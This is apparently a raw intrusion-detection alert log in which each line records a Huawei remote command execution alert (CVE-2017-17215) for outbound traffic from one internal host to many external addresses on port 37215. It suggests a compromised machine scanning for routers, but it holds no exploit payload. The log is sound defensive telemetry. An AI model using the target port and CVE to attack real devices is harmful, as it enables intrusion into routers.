2024-12-30T11:58:43.561684+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	33340	156.28.54.99	37215	TCP
2024-12-30T11:58:43.561767+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	51564	156.2.169.10	37215	TCP
2024-12-30T11:58:43.562790+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	34948	156.62.171.232	37215	TCP
2024-12-30T11:58:43.562829+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	40118	41.202.122.238	37215	TCP
2024-12-30T11:58:43.562855+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	53872	156.168.226.63	37215	TCP
2024-12-30T11:58:43.563305+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	44646	41.200.1.33	37215	TCP
2024-12-30T11:58:43.588690+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	37210	41.9.53.247	37215	TCP
2024-12-30T11:58:43.594229+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	43186	41.208.189.15	37215	TCP
2024-12-30T11:58:43.594229+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	40482	156.192.121.47	37215	TCP
2024-12-30T11:58:43.639360+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	48854	197.183.125.247	37215	TCP
2024-12-30T11:58:43.887220+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	32840	41.174.67.162	37215	TCP
2024-12-30T11:58:44.195843+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	33518	156.224.67.147	37215	TCP
2024-12-30T11:58:44.573241+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	42904	197.199.168.25	37215	TCP
2024-12-30T11:58:44.574590+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	58832	156.99.120.69	37215	TCP
2024-12-30T11:58:44.574597+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	58310	41.145.133.199	37215	TCP
2024-12-30T11:58:44.594487+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	59494	197.120.177.20	37215	TCP
2024-12-30T11:58:44.639308+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	59148	156.233.107.211	37215	TCP
2024-12-30T11:58:44.682955+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	34094	41.66.13.141	37215	TCP
2024-12-30T11:58:45.573321+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	48608	156.94.151.112	37215	TCP
2024-12-30T11:58:45.574844+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	44760	41.134.126.76	37215	TCP
2024-12-30T11:58:45.588245+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	42452	41.134.96.81	37215	TCP
2024-12-30T11:58:45.588785+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	42728	156.108.139.54	37215	TCP
2024-12-30T11:58:45.588936+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	50808	156.64.115.47	37215	TCP
2024-12-30T11:58:45.588946+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	35338	197.90.181.121	37215	TCP
2024-12-30T11:58:45.588979+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	34848	41.91.210.30	37215	TCP
2024-12-30T11:58:45.589005+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	58290	197.40.46.8	37215	TCP
2024-12-30T11:58:45.589043+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	46420	41.227.216.26	37215	TCP
2024-12-30T11:58:45.589140+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	50598	41.14.103.9	37215	TCP
2024-12-30T11:58:45.590203+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	45838	41.10.119.221	37215	TCP
2024-12-30T11:58:45.590434+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	51274	156.2.230.25	37215	TCP
2024-12-30T11:58:45.590456+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	53364	156.70.210.247	37215	TCP
2024-12-30T11:58:45.590580+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	56742	41.86.219.254	37215	TCP
2024-12-30T11:58:45.590663+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	39296	156.1.228.240	37215	TCP
2024-12-30T11:58:45.590713+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	47752	197.195.233.193	37215	TCP
2024-12-30T11:58:45.590821+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	33172	41.66.89.98	37215	TCP
2024-12-30T11:58:45.591109+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	48462	156.217.252.48	37215	TCP
2024-12-30T11:58:45.592294+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	42864	156.172.214.75	37215	TCP
2024-12-30T11:58:45.592948+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	54448	41.61.11.167	37215	TCP
2024-12-30T11:58:45.593231+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	55928	41.2.225.34	37215	TCP
2024-12-30T11:58:45.593359+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	36894	156.68.179.165	37215	TCP
2024-12-30T11:58:45.594174+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	55940	156.240.199.47	37215	TCP
2024-12-30T11:58:45.594700+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	55256	197.96.199.105	37215	TCP
2024-12-30T11:58:45.609850+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	55366	41.207.171.211	37215	TCP
2024-12-30T11:58:45.609867+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	51592	41.63.84.157	37215	TCP
2024-12-30T11:58:45.623797+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	45872	156.159.246.196	37215	TCP
2024-12-30T11:58:46.604090+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	44162	156.178.23.198	37215	TCP
2024-12-30T11:58:46.604248+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	35962	156.235.183.73	37215	TCP
2024-12-30T11:58:46.604415+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	44734	197.123.231.57	37215	TCP
2024-12-30T11:58:46.604440+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	37518	197.25.126.73	37215	TCP
2024-12-30T11:58:46.604508+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	56128	197.35.227.113	37215	TCP
2024-12-30T11:58:46.604577+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	37298	156.136.166.93	37215	TCP
2024-12-30T11:58:46.604658+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	51086	156.213.173.61	37215	TCP
2024-12-30T11:58:46.604772+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	33486	156.27.26.80	37215	TCP
2024-12-30T11:58:46.605249+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	48268	156.101.93.173	37215	TCP
2024-12-30T11:58:46.605843+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	59092	41.2.101.30	37215	TCP
2024-12-30T11:58:46.605919+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	60444	41.50.98.211	37215	TCP
2024-12-30T11:58:46.606152+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	56276	197.198.222.62	37215	TCP
2024-12-30T11:58:46.606182+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	37298	156.149.1.195	37215	TCP
2024-12-30T11:58:46.619967+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	51818	156.18.220.15	37215	TCP
2024-12-30T11:58:46.620203+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	41998	197.233.16.66	37215	TCP
2024-12-30T11:58:46.620216+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	47692	41.227.197.11	37215	TCP
2024-12-30T11:58:46.620254+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	59386	197.88.12.46	37215	TCP
2024-12-30T11:58:46.621645+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	46610	41.106.240.124	37215	TCP
2024-12-30T11:58:46.621720+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	44714	41.198.67.237	37215	TCP
2024-12-30T11:58:46.621993+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	40778	197.98.0.180	37215	TCP
2024-12-30T11:58:46.623953+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	36018	41.89.50.251	37215	TCP
2024-12-30T11:58:46.625467+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	45094	156.197.55.202	37215	TCP
2024-12-30T11:58:46.625559+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	44156	41.239.54.242	37215	TCP
2024-12-30T11:58:46.625686+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	39968	156.115.28.167	37215	TCP
2024-12-30T11:58:46.651508+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	47566	197.53.230.42	37215	TCP
2024-12-30T11:58:46.654951+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	48860	41.78.133.195	37215	TCP
2024-12-30T11:58:46.656694+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	42338	156.29.107.148	37215	TCP
2024-12-30T11:58:47.455349+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	43390	41.34.22.77	37215	TCP
2024-12-30T11:58:47.496993+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	56902	41.35.82.102	37215	TCP
2024-12-30T11:58:47.637504+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	54996	41.180.218.10	37215	TCP
2024-12-30T11:58:47.637505+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	59886	156.149.3.13	37215	TCP
2024-12-30T11:58:47.637521+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	47066	156.128.97.196	37215	TCP
2024-12-30T11:58:47.639470+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	34716	41.184.139.38	37215	TCP
2024-12-30T11:58:47.651125+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	60548	197.95.37.185	37215	TCP
2024-12-30T11:58:47.651129+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	36684	156.0.193.214	37215	TCP
2024-12-30T11:58:47.651206+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	54740	197.57.60.218	37215	TCP
2024-12-30T11:58:47.652743+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	33148	156.25.19.46	37215	TCP
2024-12-30T11:58:47.655006+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	55852	41.33.52.212	37215	TCP
2024-12-30T11:58:47.714003+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	46426	156.166.114.199	37215	TCP
2024-12-30T11:58:47.803251+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	55178	197.8.117.2	37215	TCP
2024-12-30T11:58:47.900486+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	48428	197.234.6.136	37215	TCP
2024-12-30T11:58:48.635855+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	33490	156.113.9.117	37215	TCP
2024-12-30T11:58:48.650945+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	41804	41.2.52.205	37215	TCP
2024-12-30T11:58:48.651129+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	43674	41.155.1.218	37215	TCP
2024-12-30T11:58:48.651291+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	54072	41.73.228.216	37215	TCP
2024-12-30T11:58:48.651494+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	60814	197.28.110.43	37215	TCP
2024-12-30T11:58:48.651502+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	41902	156.243.193.52	37215	TCP
2024-12-30T11:58:48.651581+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	33478	156.56.182.213	37215	TCP
2024-12-30T11:58:48.651664+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	46082	156.179.246.227	37215	TCP
2024-12-30T11:58:48.651767+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	54890	197.60.174.217	37215	TCP
2024-12-30T11:58:48.651846+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	58678	197.205.74.129	37215	TCP
2024-12-30T11:58:48.651945+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	44924	156.248.83.46	37215	TCP
2024-12-30T11:58:48.652060+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	50642	41.3.214.26	37215	TCP
2024-12-30T11:58:48.652142+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	37900	197.231.101.2	37215	TCP
2024-12-30T11:58:48.652232+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	39492	156.7.190.111	37215	TCP
2024-12-30T11:58:48.652276+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	33642	41.136.206.6	37215	TCP
2024-12-30T11:58:48.652513+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	56116	41.99.76.103	37215	TCP
2024-12-30T11:58:48.652530+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	48128	41.109.142.171	37215	TCP
2024-12-30T11:58:48.652919+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	56322	41.89.183.178	37215	TCP
2024-12-30T11:58:48.653138+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	38014	41.165.34.137	37215	TCP
2024-12-30T11:58:48.653236+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	45750	156.22.133.92	37215	TCP
2024-12-30T11:58:48.653346+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	43068	156.19.60.98	37215	TCP
2024-12-30T11:58:48.656793+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	53272	156.59.71.133	37215	TCP
2024-12-30T11:58:48.657385+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	56210	156.94.153.188	37215	TCP
2024-12-30T11:58:48.666955+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	42962	197.116.253.150	37215	TCP
2024-12-30T11:58:48.666955+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	52866	156.172.106.169	37215	TCP
2024-12-30T11:58:48.667041+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	48212	156.153.165.23	37215	TCP
2024-12-30T11:58:48.667602+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	34756	197.11.104.197	37215	TCP
2024-12-30T11:58:48.668594+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	40180	156.19.78.52	37215	TCP
2024-12-30T11:58:48.668640+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	54924	41.140.20.94	37215	TCP
2024-12-30T11:58:48.670531+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	59550	41.162.19.168	37215	TCP
2024-12-30T11:58:48.670644+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	39186	156.79.205.137	37215	TCP
2024-12-30T11:58:48.670679+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	48366	156.216.134.88	37215	TCP
2024-12-30T11:58:48.670866+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	50506	156.94.222.149	37215	TCP
2024-12-30T11:58:48.670966+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	47206	197.42.13.248	37215	TCP
2024-12-30T11:58:48.671036+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	35802	41.12.22.144	37215	TCP
2024-12-30T11:58:48.671129+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	59308	156.35.81.24	37215	TCP
2024-12-30T11:58:48.672386+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	37370	41.41.2.134	37215	TCP
2024-12-30T11:58:48.672521+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	60894	156.18.213.63	37215	TCP
2024-12-30T11:58:48.672598+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	58768	197.198.231.144	37215	TCP
2024-12-30T11:58:48.693068+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	52970	156.237.88.158	37215	TCP
2024-12-30T11:58:48.699853+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	41118	197.167.175.4	37215	TCP
2024-12-30T11:58:49.465639+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	45530	156.246.134.127	37215	TCP
2024-12-30T11:58:49.698316+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	47956	156.123.116.228	37215	TCP
2024-12-30T11:58:49.698317+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	49934	156.111.118.218	37215	TCP
2024-12-30T11:58:49.698328+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	49940	197.37.239.64	37215	TCP
2024-12-30T11:58:49.698330+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	34398	41.119.58.38	37215	TCP
2024-12-30T11:58:49.698335+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	37484	156.111.247.74	37215	TCP
2024-12-30T11:58:49.698432+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	41688	197.127.247.21	37215	TCP
2024-12-30T11:58:49.698554+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	49044	41.72.115.78	37215	TCP
2024-12-30T11:58:49.698582+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	37496	41.16.27.215	37215	TCP
2024-12-30T11:58:49.698645+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	39144	41.231.15.213	37215	TCP
2024-12-30T11:58:49.698749+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	53400	197.195.242.255	37215	TCP
2024-12-30T11:58:49.698817+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	34590	41.126.239.10	37215	TCP
2024-12-30T11:58:49.698871+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	57022	41.228.215.253	37215	TCP
2024-12-30T11:58:49.698985+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	40368	41.229.111.110	37215	TCP
2024-12-30T11:58:49.699007+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	52840	197.187.182.25	37215	TCP
2024-12-30T11:58:49.699079+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	34532	197.73.248.106	37215	TCP
2024-12-30T11:58:49.699178+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	53460	41.70.6.53	37215	TCP
2024-12-30T11:58:49.699469+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	37090	41.95.158.182	37215	TCP
2024-12-30T11:58:49.699556+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	48844	41.194.58.156	37215	TCP
2024-12-30T11:58:49.699698+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	49990	156.110.211.163	37215	TCP
2024-12-30T11:58:49.699723+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	34264	41.160.22.58	37215	TCP
2024-12-30T11:58:49.699787+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	48664	197.172.166.131	37215	TCP
2024-12-30T11:58:49.699802+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	46566	197.246.87.89	37215	TCP
2024-12-30T11:58:49.699889+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	54374	156.188.32.93	37215	TCP
2024-12-30T11:58:49.699973+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	42094	197.228.39.167	37215	TCP
2024-12-30T11:58:49.700019+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	57044	41.86.52.12	37215	TCP
2024-12-30T11:58:49.700082+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	51214	197.245.244.226	37215	TCP
2024-12-30T11:58:49.700177+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	57222	41.111.198.235	37215	TCP
2024-12-30T11:58:49.700259+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	44962	197.172.39.79	37215	TCP
2024-12-30T11:58:49.700278+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	57978	156.211.170.7	37215	TCP
2024-12-30T11:58:49.700365+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	55854	197.18.163.120	37215	TCP
2024-12-30T11:58:49.700430+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	34022	156.200.175.160	37215	TCP
2024-12-30T11:58:49.700495+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	47792	197.179.6.66	37215	TCP
2024-12-30T11:58:49.700576+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	50622	41.61.59.163	37215	TCP
2024-12-30T11:58:49.700625+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	48426	41.111.188.116	37215	TCP
2024-12-30T11:58:49.700685+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	46566	41.158.94.8	37215	TCP
